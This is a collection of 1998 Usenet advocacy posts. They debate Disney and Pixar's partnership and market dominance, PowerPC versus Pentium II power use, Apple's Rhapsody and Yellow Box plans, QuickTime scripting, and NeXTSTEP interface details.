Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Thu, 02 Apr 1998 11:11:29 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204981111290001@dante.eng.uci.edu>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <rmcassid-3103980921490001@dante.eng.uci.edu> <19980331164046824062@sdn-ts-012txhousp03.dialsprint.net> <rmcassid-3103981617150001@dante.eng.uci.edu> <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net> <rmcassid-0104981103050001@dante.eng.uci.edu> <199804020034221564225@sdn-ts-002txhousp07.dialsprint.net>
In article <199804020034221564225@sdn-ts-002txhousp07.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
>Bob Cassidy wrote:
>
>> I think that had a film like Anastasia been released by Disney, it would
>> have been very profitable. Call it a blunder by the studio that released
>> it or whatever, but it's damn hard for Disney to release a bomb regardless
>> of it's quality. That's different than saying that only Disney can be
>> successful at animation, but there is a certain guarantee of viewership
>> with Disney.
>
>That guarantee has fallen with each film since THE LION KING. HERCULES
>was a big disappointment, barely matching HUNCHBACK's take even though
>the latter was considered something of an experimental misfire while the
>former was thought to be a sure thing. The formula is getting tired and
>the audience knows it. Too bad the creators of ANASTASIA didn't.
That doesn't really say anything about the relationships between quality
and marketing, though. It could be that the market for animated films is
on the decline due to the high presence on TV and cable. Disney may not
make their dollars in the theaters anymore, but a quick move to video
followed up by the Disney channel and then to ABC probably gets a nice
return at each level, bringing in a different audience each time. In
effect, they don't need a strong ticket-office sale to make money, though
I'm sure they don't mind it one bit.
>Also, it took Disney years of effort and exceptional films to build up
>today's audience loyalty. Why should Fox get it on the first try?
And why would Pixar choose to be the ground-breakers for Fox? I'm sure
that Disney was asking that question.
>Is computer-generated animation really more expensive than manually
>painting on cels? I would have thought just the opposite (though I
>admit I don't know). I don't recall hearing that TOY STORY's budget was
>higher than the animated norm.
I think that Toy Story's was, but there was a lot of foundation building
so it probably shouldn't count towards that. Computer generated animation
*should* be cheaper, and I expect that is as much a part of Pixars
innovation (doing it for less) as the high-quality of what the audience
sees. It's still got to be more than a Land Before Time or other
relatively low-budget animation (non-Disney). Remember that the voice
actors for Toy Story must have contributed a lot to the cost as they do
for Disney films. I imagine there is only so much cost-cutting you can do.
>> Depends on the film. Some are definately marketing. Some are clearly
>> craft. Most are both, actually.
>
>I would say the originals were craft, the sequels were marketing (with
>and without craft). But it was the quality of the originals that
>enabled the sequels to exist in the first place.
That might be pretty accurate. I can't think of an original that was a big
hit that wasn't a first-rate film as well. Jurassic Park was impressive
visually, but wasn't a spectacular film from any other standpoint. It's
the most marketing dependent original that I think he had. Of course he
had some that bombed, but they're not relevant to the discussion.
>I don't dispute that Jobs was right to go to Disney -- any more than
>Disney was right to go to McDonald's or any other market leader makes a
>good partner. I believe Jobs got a favorable deal because Eisner was
>well aware of the benefit to Disney as well. I also believe that none
>of this bears any comparison to Microsoft.
Disney got the short end of the deal. It was split 50/50 with Disney
picking up all marketing costs. I don't know why they did that.
We don't know much about how good a partner Disney makes. There are tons
of stories about MS cannibalizing its partners, might Disney do the same
to Pixar? I don't know. And MS is sometimes a good partner as well.
>This is perhaps the crux of our disagreement. I don't feel that
>Disney's success comes in any significant way from coercion.
But market dominance doesn't have to come by way of coersion. I don't
think that Disney is coersive either, but that doesn't prevent them from
having such a dominance on a market that potential partners and customers
aren't stuck with only one apparent choice. MS didn't get where it is
soley by coersion either - to some extent it deserves it's position.
>This is not to deny Disney's
>power in the market, like Nike's or Coke's or Levi's or Procter &
>Gamble's. (In fact, Disney may be the least coercive of that bunch.)
>But I see a distinction between the kind of power these companies wield
>and that of Microsoft.
From the perspective of a partner, I don't see a distinction. The choices
are the same. How you got there is somewhat irrelevant. Business isn't
about waving a flag in protest for the betterment of the industry, it's
about serving your own needs. Who best serves your needs? MS. Then go for
it.
>Jobs chose the best partner at the time, true. Disney may always be the
>best partner or may not, based on market dynamics. 10 years ago Disney
>would not have been the obvious choice it is today.
Agreed. But I don't see any realistic choices to Disney as the market
doesn't see any realistic choices to MS. Apple? Who are they? Fox? Who are
they?
>I use "Microsoftian" to mean shrewdly coercive but not simply dominant.
>Is Intuit coercive? (I hadn't heard.)
I don't think so. I'd put them as simply dominant. That's how I define
'Microsoftian' when referring to it's *position*. I don't really care
about it's practices here as I don't think they are relevant.
>If you were to watch all the animated films released in the last ten
>years and rank them according to which ones sustained your interest the
>best, I believe most adults would pick the Disney films.
That's still really subjective.
>Are these videos titles you've never heard of, or ones that you've heard
>are good or "classic"? If you're just buying any video with the Disney
>stamp on it, your buying habits at the video store sound a tad unusual.
Pretty much anything with the Disney stamp on it. A few that I have I
didn't know existed. The habits are pretty common from what I understand.
>FWIW, my niece seems to like some crappy direct-to-video titles pretty
>well also (i.e., they kill the time), but she didn't want to dress up as
>a crappy video heroine on her birthday.
Kids are actually a lot less subjective. I imagine he'll be as enthralled
with infomercials as cartoons for a while (imagining the guy who jumps up
and down proclaiming how wonderful his cookware is). Disney has a knack
for getting the characters just *so*, I'll agree. The tiny waist big
boobed big eyed long eyelashes heroine with long hair that sings and has a
wonderful life must be hard to resist.
>I don't think Disney feels their marketing machine is invincible; right
>now their momentum is going the wrong way. I would guess they're a bit
>nervous about how this summer's animated entry will fare. If it doesn't
>break $100 million at the box office, watch the stock take a hit.
They're stretched a bit thin right now and are having some problems what
with Disneylands expansion being so problematic and their cruise line
going nowhere fast without a ship.
>I'm curious as to what's in your video library. ROBIN HOOD? THE FOX
>AND THE HOUND? THE RESCUERS DOWN UNDER? THE GREAT MOUSE DETECTIVE?
>It's true that kids are often not discerning viewers, but many parents
>are and choose the cream of the crop. In animation that has almost
>always meant Disney. A film like THE LION KING does not gross $300
>million by boring millions of adults.
Those titles are in many, many parents libraries. Remember, *I* don't
watch them. To be honest I can't even tell you which ones I have anymore,
only to say that I have a bunch and that they are all Disney. I *do* have
Little Mermaid (the original with the big erection on the cover - that
took some serious huevos to do) but I think the rest are older than that
except for a recent Pooh release.
>And Disney quality is proof that Disney is not Microsoft!
So MS has no quality products? And Disney has no poor quality products.
Please. I'll give Disney the advantage on quality %, though.
>> Market to those individuals that are the least discerning of quality and
>> have the greatest effect on purchasing - management typically fits this
>> role, as do kids for certain kinds of products like entertainment.
>> Marketing Disney to me is pointless. McD's learned this lesson long ago -
>> market to the kids that know nothing of nutrition or cost and you get the
>> kids *and* the parents as customers. Much more effective.
>
>But you have to find enough parents who can stomach what you're
>promoting. I think it's easier to get people to eat (or even abstain)
>at McDonald's for half an hour than to sit through 90 minutes of tedium
>in a theater. And theatrical success is still the determining factor in
>how well the ancillary revenue streams perform.
Actually I think they are very comparable as you tend to go to theaters
far less often than out to dinner, so it's reasonable to expect a larger
buy-in. But for eating and entertainment, children get a vote. Children
don't vote in too many industries, but these two they do for sure. McD's
has even managed to roll the two into one product. Maybe Disney should
serve Happy Meals during their films?
>> I believe that as those costs [of animation] have increased, the profits
>> from the animations have decreased significantly. That without the
>> merchandising and other bits and pieces, that the films would be much more
>> difficult to justify today. Certainly it hasn't always been like this, but
>> such is the trend today.
>
>Perhaps, but movie studios operate by gambling on how much they can make
>*total* from a film. All "event" movies are difficult to justify today
>except that profits are often guaranteed because of the existence of so
>many media outlets worldwide. Movies with licensing tie-ins are that
>much more appealing to gamble on because if they hit, they pay off big.
>An animated feature in and of itself is no more of a gamble than any
>other. It's just that so far no one but Disney has been able to produce
>a great one (at least in the family genre).
Exactly. And Disney reigns supreme because they have *so* many outlets to
leverage for revenue. Even if the film costs as much to make as to gross
in the box office, they can still make a hit out of it. Disney can
increase costs (not decrease ticket sales) and discourage competition
that'll also feel pressured to increase costs. Titanic has raised the bar
on what a studio will feel compelled to spend on the next blockbuster.
It's a shame really. The studios are going to have a hard time of it, I
think.
>> Disney doesn't need to intentionally operate in this way anyhow. The mere
>> fact that they can, and they are who they are yields the desired effect.
>So Disney is Microsoft simply because they *could be*? That seems a
>little unfair -- like saying Clinton is Nixon because he could have
>hired someone to break into Republican campaign headquarters.
Disney is Microsoft becuase they cause the same effect. MS doesn't
actively compete against other office suites because nobody would dare
fund the creation of one. MS isn't actually doing anything, yet the market
still reacts as though they are. *That* is the real problem with
monopolies - that they work even when they aren't actively trying to
maintain a monopoly. Disney isn't a monopoly, but I think they have that
effect in a small submarket of movie-making that Pixar happens to be in.
>> MS has the same reputation. Nobody would even consider developing a
>> productivity suite today because MS is MS. MS might not take any action
>> against the product at all but that doesn't matter since the other product
>> will never come to be developed to begin with.
>
>Yes, but other studios *are* making animated features aimed directly at
>Disney's market!
And how successful have they been? How long will they continue to do it?
Will they suddenly success or with Disney have to drop the ball first? I
think it'll take a screw-up by Disney for it to happen.
>> >THE LITTLE MERMAID was the class act of that pair.
>>
>> Fair enough. But it means that Disney does not need to actively compete
>> against the other studios so long as they have a film not released in the
>> last 5 years that would compete favorably.
>
>Huh? (Sorry, Bob, that's a little confusing!)
Well, I guess what I mean is that Disney didn't have to actively respond
to Anastasia. Instead they dusted off a good old film and plunked it up
against Anastasia. They didn't have to spend the millions to compete, they
just had to ramp up marketing. And Disney can do this until the cows come
home.
>> Fox might release 'A Bugs Life' only to be up against a rerelease of what?
>> Bambi?
>
>A rerelease of BAMBI would not provide a fatal blow any more than THE
>LITTLE MERMAID did. THE LITTLE MERMAID has been unavailable on video
>for a long time and among Disney's most requested rereleases. In fact,
>I don't think the rerelease strategy in general works nearly so well
>since the advent of cheap video sell-through pricing.
Remember that it doesn't take much to deliver a fatal blow. A film is made
or killed in it's first weekend. A 10% audience drop (say $2 million) in
the first few days can translate to $20 million over the release of the
film. Total box office receipts impact follow-up revenues so that initial
$2M slip can be $40 million by the time all is said and done. And that $40
is taken off of the profits, not the gross, so it could be the difference
between a profitable and unprofitable release. That's why there is so much
attention paid to the release date of a film. If Disney put out a Bambi on
the same weekend as 'A Bugs Life', the impact on Pixar could be
substantial.
>> It's not the same point by point - but Disney clearly is the 500lb gorilla
>> and you'd be foolish not to have them on your side if you are releasing a
>> children's animation.
>
>Now see, I have no problem with that. Just like if I were playing
>basketball, I'd want Jordan on my team. But Jordan is not Microsoft!
>;-) (Let's not talk about Nike...)
Jordan isn't Microsoft. McClaren is Microsoft. Taken all the fun out of F1
this season so far. Boo!
-Bob Cassidy
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: Re: G3, Intel mobile P-II
Followup-To: comp.sys.next.advocacy,comp.sys.powerpc.tech
Date: 3 Apr 1998 05:45:19 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6g1t1f$mj4$1@joe.rice.edu>
References: <6g0rvq$iqk@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: ****
: It would appear that the 233 MHz P-II uses (34%/20%) more power
: (typical/peak) than the 233 MHz PPC 750.
: As Intel writes (in http://www.intel.com/businesscomputing/small/tips/)
: (The 266 MHz Pentium-MMX processor)
: "Producted with Intel's advanced 0.25 micron manufacturing
: process, this processor reduces energy consumption by 53%,
: giving you "surplus" power for desktop-equivalent features
: like high-resolution color displays, 24X CD-ROM players,
: USB support....."
: ***
: -arun gupta
The best part of it is that the core voltages are different.
The current PPC750 uses a 2.5V supply while the new mobile PIIs
use 1.7V supplies. With that much room for voltage reduction,
I would imagine future 750's could operate above 450MHz (@1.8V), while
the PII with a reduction to 1.4V might get Intel to 366MHz.
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 3 Apr 1998 12:29:25 -0500
Organization: Interport Communications Corp.
Message-ID: <6g369l$lth$1@interport.net>
References: <6g20i8$gki1@odie.mcleod.net> <B149D734-240507@204.210.20.147>
William V. Campbell Jr. (wcampbe1@san.rr.com) wrote:
: Is the majority of the Unix/Next community so resistant to
: OPENSTEP/Rhapsody? Is it because of Apple? Steve Jobs? --beats me.
I can only speak for myself, but: I am strictly from Unix, culturally,
and I like NeXTStep enough to own a NeXTStation and work a job
adminning a NeXTStep/x86 network.
I have high hopes for OS/Rhapsody, and I also have fears that
Jobs/Apple will disappoint me by sabotaging themselves, as they have
been known to do in the past.
I wish them the best of luck, and I look forward to seeing unix
technology on the mass-market desktop.
--
Ben
<Just Another System Administrator>
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Fri, 03 Apr 1998 10:14:24 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0304981014240001@dante.eng.uci.edu>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94> <rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com>
In article <6g257k$n50$3@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
Riley) wrote:
>>WinCE was a contender as many developers don't even see the Pilot as a
>>competitor. WinCE is an extension of Windows, not a competitor in the PDA
>>market. *That* is part of the perception. *That* is what MS will use to
>>get a position in the market. All of a sudden there is this huge grey area
>>between a PDA and a laptop that can be filled, and only MS can fill it
>>right now.
>>
>Heads-UP... This is an easy to parse, candid snapshot of the "current"
>marketplace.
Thank you.
>>It'll be used to knock the NC and JavaOS on it's ass in this
>>market.
>>
>So how does that "affect" Apple? And does "this market" change? When?
It affects Apple as I don't think they can make a serious entry into this
market without a similar tactic. I think Apple has 3 options:
Leverage YB into a PDA-ish role. That'd match MS's marketing tactic and
actually deliver on it, but might be unrealistic technically - maybe not.
Move MacOS into a PDA-ish role. That gives Apple a strong case in the
education market. Nothing like what WinCE has, but a strong, stable market
to be sure.
Expand QT into a PDA role. It doesn't help many of us in what we do, but
interactive multimedia delivered over a variety of media (wireless
ethernet, DVD, whatever) done just right, could be a huge cash cow for
Apple. Put them in airline seats, as roaming kiosks with GPS driven cues,
personal consumer devices. High-volume low margin products that can drive
Apple's content creation market into market dominance. Also fits into the
set-top box market.
I think the second is the most likely and least risky for Apple, but I'd
love to see all three. At the very least Java will have been elminated by
MS, and be one less thing to deal with.
-Bob Cassidy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 03 Apr 1998 10:28:20 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0304981028200001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us> <rmcassid-0104981421190001@dante.eng.uci.edu> <slrn6i6bg4.j6l.sal@panix3.panix.com> <rmcassid-0204980855490001@dante.eng.uci.edu> <6g0b94$3a8$3@ns3.vrx.net> <rmcassid-0204981354230001@dante.eng.uci.edu> <6g2dn1$m4p$3@ns3.vrx.net>
In article <6g2dn1$m4p$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <rmcassid-0204981354230001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
>> I think the two are fundamentally different. The advantage to AS in QT is
>> that scripts can then be time keyed or action keyed. That is, you could
>> have a script that executes 5.3 seconds after a certain action or have a
>> script that is executed after a certain event happens - sprite gets to a
>> certain place, object gets rotated to a certain orientation, whatever. You
>> could do it the other way around but it'd be far more complicated, IMO.
>>
>> I don't see the two as mutually exclusive, however. I want both.
>
> I'm not sure this implies that the _script language_ has to be different.
>Or even the interpreter to drive it.
I think it should be the same, actually. I've got 70% knowledge of enough
languages under my belt now. Add a few more and they all drop to 60%.
>> It's not speed but being time aware.
>
> I see what you mean, but I'm not sure that HC-under-QT "knows" this - or
>that even if it does that AS-under-QT wouldn't. I've been using HC for going
>on 10 years now, and I don't see it as having any specific advantage here.
HC doesn't have the advantage now - don't know about HC under QT - haven't
had time to play with the new stuff much. QT Interactive suggested that we
would have scripts implemented as tracks that _should_ pick up at least
some of the time aware nature of QT. I don't see how you could do that
outside of QT - what would be driving the script?
>> I think QT will have scripts as tracks. The question is, what kind of
>> scripts - Hypertalk or AS? Editing would require YB.
>
> Well _maybe_. The bytecode interpreter/compiler for either is likely the
>same size.
Yeah, probably. Would the editor then use the interpreter/compiler in QT?
- I guess theres no reason why not.
>> It is a bit pricy - but really worth it based on the kinds of results that
>> you can get. I suppose the 'VB is cheaper' argument comes out - but it's a
>> pointless argument. You pay based on results, not based on what the other
>> guy pays.
>
> True. I just think the issue here is that lots of people are missing out
>because they have to _buy_ it, and lets face it, AS doesn't have the greatest
>rep outside specific uses. I think that if FaceSpan and Scripter were sold
>with your Mac, there'd be a LOT more people using AS, and AS would be a lot
>better (due to use demand).
That's certainly true. It's really be nice to have the Facespan engine
everywhere. Time for Apple to write the big check?
>I'm convinced that FS +
>Scriper + AS IS a replacement for "classic" HC (speed issues aside, and
>likely to be solved shortly) but I think that with the $199 price for
>Scripter, and the $295 price for FS, that people simply can't afford to try.
Yeah, I think you're right. But I still would like to see something better
than Scripter. I can't see things getting that much better than Facespan -
except to add the IB object diddling stuff. Write a better editor,
integrate them and I think we would have a good user-level tool.
-Bob Cassidy
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Fri, 03 Apr 1998 10:36:48 -0800
Organization: South Valley Internet
Message-ID: <stevehix-0304981036490001@ip20.safemail.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com> <rmcassid-0204981645350001@dante.eng.uci.edu> <stevehix-0204982157560001@ip52.safemail.com> <rmcassid-0204982227180001@dante.eng.uci.edu>
In article <rmcassid-0204982227180001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> stevehix@safemail.com (Steve Hix) wrote:
> >You've got the desktop real estate, which is nice.
> Well, I don't really. I'm actually torn between getting a new desk to hold
> another 17" at about $1500 (this is in the office) and hoping I can get a
> Wall Street at my next upgrade and replacing my 17" with a Studio Display.
> The latter would cost about $1500 more than the former, but might be
> better in the end.
>
> Regardless, the fact of the matter is that two monitors is damn close to
> neccessary for some jobs. Flat panel displays will make things *so* much
> better...
No dispute there.
It's still unquestionable that multiple displays are not an option for everyone.
Darn.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: 3 Apr 1998 19:33:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6iaect.pfp.sal@panix3.panix.com>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com> <3523D9A1.80009B7C@nstar.net> <slrn6i81gr.kjl.sal@panix3.panix.com> <35241B5B.246B7869@nstar.net>
On Thu, 02 Apr 1998 23:12:27 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> You don't use Rhapsody. You have nver developed under Rhapsody. From your
>> posts listing your problems under NeXTStep, it is clear to see that you have
>> never had a chance to RTFM on NeXTStep.
>I've read a considerable amount of documentation for NeXTstep. I got gcc
>installed and functional from sources. I eventually got PPP running and
>routing from sources; can you claim the same, Salvatore?
No, I installed .pkg files rather than make additional work for myself.
You are right about compiles being more work that they should be. NS is
a BSD 4.3 Unix, and it is very much out of date. Posix support is far
from "just works" This has been fixed in Rhapsody. It should have been
fixed in OpenStep/Mach 4.0
>How nice to be able to *conveniently* ignore key sections of this
>thread, including the part about NEXTSTEP "Just Working", and the list
>of complaints I made being in *direct* response to that.
It sounds like you were creating problems for yourself. Why didn't you
just install the needed pkg files?
>> Ok, fine. You win. I am clueless about X. Now please enlighten me with your
>> definitions.
>[sigh] Philip Rulon and Richard Frith-MacDonald have both posted
>independent answers to your questions, in this very thread. What's more,
>I invite you to RTFM, Sal. After all, you're porting from X to NT, as
>you say, so I expect you have the resources at your disposal.
I have a full set of docs here, that isn't the problem. The problem is that
wherenever I post a complient about X, you state that my problem has nothing
to do with X, or that X is not supposed to do that. It is clear to see that
you and I have differing opinions of what X is or is not. I would like you
to post what you think X is and what you think Xlib is and what you feel are
their responsibilites. This would help clear up the discussion.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 15:06:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g2tuj$5v3$1@ns3.vrx.net>
References: <6g2c4h$m4p$2@ns3.vrx.net> <B14A846F-55642@206.165.43.27>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B14A846F-55642@206.165.43.27> "Lawson English" claimed:
> Now, you can focus on my stupidity, my ignorance, my laziness, my
> incompetence as a programmer, my <your-most-favored-insult-goes-here> or
> you can focus on the issue of what GX can do that DPS/Rhapsody graphics
> cannot [at least in approximately the same time-span] and _vice versa_ and
> why it might be good, at some point, to make sure that Rhaposdy graphics
> CAN do these things.
>
> Your choice, Maury.
I choose neither. I choose to focus on what Rhapsody can do, and that's
all.
Maury
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35254d0c.0@nnrp1.news.uk.psi.net>
Date: 3 Apr 98 20:56:44 GMT
Oops - I seem to hoave struck a nerve :-)
"Michael J. Peck" <mjpeck@nstar.net> wrote:
<SNIP>
Funny, but wildly inappropriate analogies aside ...
>And I have a bad attitude about a system (and its advocates) that try to
>tell me what is the "best" way to interact with a GUI. There's just
>something that rubs me the wrong way when the majority of proponents
>endure every complaint with a reply of "you're not using it right", and
>the rest say, "well, that's a feature I never liked, either".
I think that we have had pretty detailed threads in this newsgroup detailing
specific technical pros and cons of most individual UI features, so the characterisation
of the 'majority of proponents' seems somewhat detatched from reality.
>I never really looked at it from the point of view of *my* attitude. I
>think I just assumed that the stubborn obstinence of NeXT advocates,
>proudly, angrily pissing in the wind on the issue of scrollbars (among
>others) was a matter of *their* attitude, somewhat akin to the proud Mac
>user making his case for cooperative multi-tasking.
Is this the left-right issue? So far I've heard no technical arguments
against having them on the left, just a notion of 'common usage'. At least
NeXT users can cite 'less/more efficient mouse movement'
>> It sounds like you
>> approached the system trying to make it like what you were used to rather
>> then trying to see what it could offer and if it did anything better.
>
>Hell yes, I spent my money on a 60-pound glorified Quadra 610 just so
>that I could turn it into another X Windows workstation. Wait, no,
>that's not the way it happened.
I'll take your word for it - but the post I was replying to sure read like the
first thing you wanted to do was change things.
>As a matter of fact, there's just nothing so special about NeXTstep that
>merits all this talk of Brave New Paradigms.
Where did 'Brave New Paradigms' come from? I was talking about a load of details
working well together.
<SNIP>
>I used the beloved Browser,
>and frankly, it sucks. It can't move files anywhere near as facilely as
>the Finder, yet raise the issue of the Finder for a NeXT advocate and
>you get an earful about "clutter". Magically the conversation has been
>transformed from "utility" to "aesthetics".
Nope - a cluttered desktop is an inefficient desktop for most people - that's
an issue of utility. And there's little to choose between browser and finder
for moving files.
>But I can understand why your shell seemed so useless, if you really
>used the box as it shipped; you didn't have filename completion, ANSI
>color directory listings, any convenience shells whatsoever, etc., etc.
1. I never said my shell was useless
2. I was comparing with shells in general - I usually use bash, and I don't
like coloured text much in my directory listings (or my man pages).
>> If I could, I'd separate the buttons on the scroller a little, but that's
>> about the only thing I want to change that I can't.
>
>Well, fire up Interface Builder!
I don't dislike it enough to bother hacking all the Apps I use.
<SNIP>
>I like focus-follows-mouse
>better, and I have GOOD reasons for doing so.
As I said, I found click-to-focus/focus-follows-mouse habits to provoke very
strong feelings - without good reason. I have never heard anyone give really
GOOD reasons for a preference. What are yours?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 16:19:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g327f$9aa$1@ns3.vrx.net>
References: <B14A9684-99602@206.165.43.27>
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In <B14A9684-99602@206.165.43.27> "Lawson English" claimed:
> Gee, thanks. Want to give me examples?
Uhhh, that GX can edit text on a path and DPS can't without programming
effort?
Funny that. Perhaps you can explain why it is that the Dec'96 issue of
Develop spends no less that 12 pages explaining that GX does NOT support text
on a path by default, and then includes the "programming effort" to do it?
GX does not do text-on-a-path by default. DPS does not include
text-on-a-path by default. Both require programming effort to do it.
"Rhapsody is no good without a unified 2D graphics model". Considering
that the support given for this statement is more often wrong than right, I'd
call if FUD.
Maury
####################################################################
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 1 Apr 1998 04:17:02 GMT
Organization: Digital Fix Development
Message-ID: <6fsf3u$fs2$1@news.digifix.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <rmcassid-3103981540370001@dante.eng.uci.edu>
In-Reply-To: <rmcassid-3103981540370001@dante.eng.uci.edu>
On 03/31/98, rmcassid@uci.edu wrote:
>In article <slrn6i2mja.a5o.sal@panix3.panix.com>,
sal@panix3.panix.com
>(Salvatore Denaro) wrote:
<snip>
>>4) GUI front ends to Samba and Apache
>
>Tenon might give us this. Or ASIP? Should be a strong demand for it,
I'd think.
There is now a front end available for Samba.
Check http://www.stepwise.com/Software for a link to it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
nstep was available to the mass-market for ten years,
> and with the exception of the NSA and Wall Street, it was rejected.
>
This does not mean it was not good technology, or that Apple is ill-advised
to adopt it.
> Apple has not given a compelling reason to move to Yellow Box.
>
They have; they have stated that YellowBox will be their API of the future.
> Take into account the Nextstep
> to openstep conversion problems noted in newsgroups.
>
What on earth has this to do with anything?!
> And then ask yourself if accessing to a minority
> of the computing market is worth the way Apple
> has acted in the recent past. Without a serious
> commitment to NT 5.0/Win98 (and hopefully Solaris/HP-UX)
> how useful is Rhapsody?
>
You're confusing Rhapsody and YellowBox, they are not the same thing.
In the absence of a commitment to NT5/Win98, Rhapsody is *very* useful.
In the absence of a commitment to NT5/Win98, YellowBox is still very useful,
as it enables us to write MacOS apps, and apps for NT4 and Win95.
> And if you wait till may, read very carefully what Apple has said.
>
Don't tell me, "The sky is falling."
> (Personally I have been looking at www.willows.com
> and www.gnustep.org as future development environment
> for cross platform compatibility. Why? Access to
> the source! Hard to get jerked around if you have the source.)
>
So if you're looking at GNUSTEP, what's wrong with developing for YellowBox?
-- they're just about the same thing.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 1 Apr 1998 11:07:17 GMT
Organization: P & L Systems
